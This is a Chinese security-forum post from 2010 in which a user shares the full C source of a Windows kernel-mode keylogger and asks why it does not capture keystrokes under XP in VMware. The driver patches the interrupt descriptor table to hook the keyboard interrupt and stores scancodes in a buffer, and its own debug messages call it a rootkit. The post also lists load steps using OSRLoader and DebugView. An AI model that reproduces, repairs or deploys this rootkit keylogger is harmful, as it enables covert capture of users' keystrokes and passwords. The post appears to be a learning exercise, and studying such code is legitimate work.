首页
社区
课程
招聘
[讨论]简单的键盘sniff,为何无法正常工作?
2010-5-24 10:29 4168

[讨论]简单的键盘sniff,为何无法正常工作?

2010-5-24 10:29
4168
一段sniff键盘的代码如下:

#include "ntddk.h"
#include <stdio.h>

#define MAX_IDT_ENTRIES 0xFF

// interrupt
#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) << 16)) 
[B][COLOR="Red"]//#define NT_INT_KEYBD				0xB3
//#define NT_INT_KEYBD				0x31
#define NT_INT_KEYBD				0X93[/COLOR][/B]

// commands
#define READ_CONTROLLER		0x20
#define WRITE_CONTROLLER	0x60

// command bytes
#define SET_LEDS			0xED
#define KEY_RESET			0xFF

// responses from keyboard
#define KEY_ACK				0xFA	// ack
#define KEY_AGAIN			0xFE	// send again

// 8042 ports
// when you read from port 64, this is called STATUS_BYTE
// when you write to port 64, this is called COMMAND_BYTE
// read and write on port 64 is called DATA_BYTE 
PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;

// status register bits
#define IBUFFER_FULL		0x02
#define OBUFFER_FULL		0x01

// flags for keyboard LEDS
#define SCROLL_LOCK_BIT		(0x01 << 0)
#define NUMLOCK_BIT			(0x01 << 1)
#define CAPS_LOCK_BIT		(0x01 << 2)

///////////////////////////////////////////////////
// IDT structures
///////////////////////////////////////////////////
#pragma pack(1)

// entry in the IDT, this is sometimes called
// an "interrupt gate"
typedef struct
{
	unsigned short LowOffset;
	unsigned short selector;
	unsigned char unused_lo;
	unsigned char segment_type:4;	//0x0E is an interrupt gate
	unsigned char system_segment_flag:1;
	unsigned char DPL:2;	// descriptor privilege level 
	unsigned char P:1; /* present */
	unsigned short HiOffset;
} IDTENTRY;

/* sidt returns idt in this format */
typedef struct
{
	unsigned short IDTLimit;
	unsigned short LowIDTbase;
	unsigned short HiIDTbase;
} IDTINFO;

#pragma pack()

unsigned long old_ISR_pointer;	// better save the old one!!
unsigned char keystroke_buffer[1024]; //grab 1k keystrokes
int kb_array_ptr=0;

////////
int search_irq1()   
 {   
     unsigned char *pIoRegSel;   
     unsigned char *pIoWin;   
     unsigned char ch;   
    
     PHYSICAL_ADDRESS    phys;   
     PVOID               pAddr;   
    
     phys.u.LowPart = 0xFEC00000;   
     pAddr = MmMapIoSpace(phys, 0x14, MmNonCached);   
     if (pAddr == NULL)   
         return 0;   
    
     pIoRegSel = (unsigned char *)pAddr;   
     pIoWin = (unsigned char *)(pAddr) + 0x10;   
    
 /*  
 {  
     int  i;  
     unsigned char j;  
   
     for (i = 0, j = 0x10; i <= 0x17; i++, j += 2)  
     {  
         *pIoRegSel = j;  
         ch = *pIoWin;  
         DbgPrint("RedTbl[%02d]: 0x%02X\n", i, ch);  
     }  
 }  
 */   
    
     *pIoRegSel = 0x12;  // irq1   
     ch = *pIoWin;   
	 DbgPrint("The CH is: 0x%02X\n",ch); 
     MmUnmapIoSpace(pAddr, 0x14);   
    
     return (int)ch;   
 }   
////////

ULONG WaitForKeyboard()
{
	char _t[255];
	int i = 100;	// number of times to loop
	UCHAR mychar;
	
	//DbgPrint("waiting for keyboard to become accecssable\n");
	do
	{
		mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

		KeStallExecutionProcessor(666);

		//_snprintf(_t, 253, "WaitForKeyboard::read byte %02X from port 0x64\n", mychar);
		//DbgPrint(_t);

		if(!(mychar & IBUFFER_FULL)) break;	// if the flag is clear, we go ahead
	}
	while (i--);

	if(i) return TRUE;
	return FALSE;
}

// call WaitForKeyboard before calling this function
void DrainOutputBuffer()
{
	char _t[255];
	int i = 100;	// number of times to loop
	UCHAR c;
	
	//DbgPrint("draining keyboard buffer\n");
	do
	{
		c = READ_PORT_UCHAR(KEYBOARD_PORT_64);
		
		KeStallExecutionProcessor(666);

		//_snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x64\n", c);
		//DbgPrint(_t);

		if(!(c & OBUFFER_FULL)) break;	// if the flag is clear, we go ahead
	
		// gobble up the byte in the output buffer
		c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
		
		//_snprintf(_t, 253, "DrainOutputBuffer::read byte %02X from port 0x60\n", c);
		//DbgPrint(_t);
	}
	while (i--);
}

// write a byte to the data port at 0x60
ULONG SendKeyboardCommand( IN UCHAR theCommand )
{
	char _t[255];
		
	if(TRUE == WaitForKeyboard())
	{
		DrainOutputBuffer();

		//_snprintf(_t, 253, "SendKeyboardCommand::sending byte %02X to port 0x60\n", theCommand);
		//DbgPrint(_t);

		WRITE_PORT_UCHAR( KEYBOARD_PORT_60, theCommand );
		
		//DbgPrint("SendKeyboardCommand::sent\n");
	}
	else
	{
		//DbgPrint("SendKeyboardCommand::timeout waiting for keyboard\n");
		return FALSE;
	}
	
	// TODO: wait for ACK or RESEND from keyboard	
	
	return TRUE;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
	IDTINFO		idt_info;		// this structure is obtained by calling STORE IDT (sidt)
	IDTENTRY*	idt_entries;	// and then this pointer is obtained from idt_info
	char _t[255];

	// load idt_info
	__asm	sidt	idt_info	
	idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

	DbgPrint("ROOTKIT: OnUnload called\n");

	DbgPrint("UnHooking Interrupt...");

	// restore the original interrupt handler
	__asm cli
	idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short) old_ISR_pointer;
	idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16);
	__asm sti

	DbgPrint("UnHooking Interrupt complete.");
	//
	search_irq1();
	DbgPrint("%d ", kb_array_ptr);
	//
	DbgPrint("Keystroke Buffer is: ");
	while(kb_array_ptr--)
	{
		DbgPrint("%02X ", keystroke_buffer[kb_array_ptr]);
	}
}

// using stdcall means that this function fixes the stack before returning (opposite of cdecl)
void __stdcall print_keystroke()
{
	UCHAR c;
	//DbgPrint("stroke");

	// get the scancode
	c = READ_PORT_UCHAR(KEYBOARD_PORT_60);
	DbgPrint("FUCK got scancode %02X", c);

	if(kb_array_ptr<1024){
		keystroke_buffer[kb_array_ptr++]=c;
	}

	//put scancode back (works on PS/2)
	WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode	
	WaitForKeyboard();
	WRITE_PORT_UCHAR(KEYBOARD_PORT_60, c); //write the scancode to echo back
}

// naked functions have no prolog/epilog code - they are functionally like the 
// target of a goto statement
__declspec(naked) my_interrupt_hook()
{
	__asm
	{
		pushad					// save all general purpose registers
		pushfd					// save the flags register
		call	print_keystroke	// call function
		popfd					// restore the flags
		popad					// restore the general registers
		jmp		old_ISR_pointer	// goto the original ISR
	}
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	IDTINFO		idt_info;		// this structure is obtained by calling STORE IDT (sidt)
	IDTENTRY*	idt_entries;	// and then this pointer is obtained from idt_info
	IDTENTRY*	i;
	unsigned long 	addr;
	unsigned long	count;
	char _t[255];
	
	theDriverObject->DriverUnload  = OnUnload; 

	// load idt_info
	__asm	sidt	idt_info
	
	idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

	for(count=0;count < MAX_IDT_ENTRIES;count++)
	{
		i = &idt_entries[count];
		addr = MAKELONG(i->LowOffset, i->HiOffset);
		
		_snprintf(_t, 253, "Interrupt %d: ISR 0x%08X", count, addr);
		DbgPrint(_t);
	}
	//search_irq1();
	DbgPrint("Hooking Interrupt...");
	// lets hook an interrupt
	// exercise - choose your own interrupt
	old_ISR_pointer = MAKELONG(idt_entries[NT_INT_KEYBD].LowOffset,idt_entries[NT_INT_KEYBD].HiOffset);
	
// debug, use this if you want some additional info on what is going on
#if 1
	_snprintf(_t, 253, "old address for ISR is 0x%08x", old_ISR_pointer);
	DbgPrint(_t);
	_snprintf(_t, 253, "address of my function is 0x%08x", my_interrupt_hook);
	DbgPrint(_t);
#endif
	
	// remember we disable interrupts while we patch the table
	__asm cli
	idt_entries[NT_INT_KEYBD].LowOffset = (unsigned short)my_interrupt_hook;
	idt_entries[NT_INT_KEYBD].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);
	__asm sti

// debug - use this if you want to check what is now placed in the interrupt vector
#if 1
	i = &idt_entries[NT_INT_KEYBD];
	addr = MAKELONG(i->LowOffset, i->HiOffset);
	_snprintf(_t, 253, "Interrupt ISR 0x%08X", addr);
	DbgPrint(_t);	
#endif

	DbgPrint("Hooking Interrupt complete");

	return STATUS_SUCCESS;
}




1、该段代码的用法如下:

  • 启动DebugView.exe.

  • 启动OSRLoader, 选择该代码编译出来的.sys文件, 再按"Register Service", 按"Start Service", DebugView.exe里边显示一些信息. 之后, 所有键盘按键的扫描码保存在缓冲区里面.

  • 按"Stop Service"以后, DebugView.exe把缓冲区里的键盘的扫描码显示出来了.

2、我调试的环境是:虚拟机VMWARE下的xp。
3、我按照步骤做,最后没有sniff的键盘的扫描码。代码中红色的部分为键盘的中断向量号,怀疑是向量号不对,尝试修改过。默认应该是0x31,但是查了一下,有人说是OX93。但是当我修改为0X93的时候,只要加载我的驱动,键盘就直接死掉了。
4、请大家指教一下问题出在哪里?

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回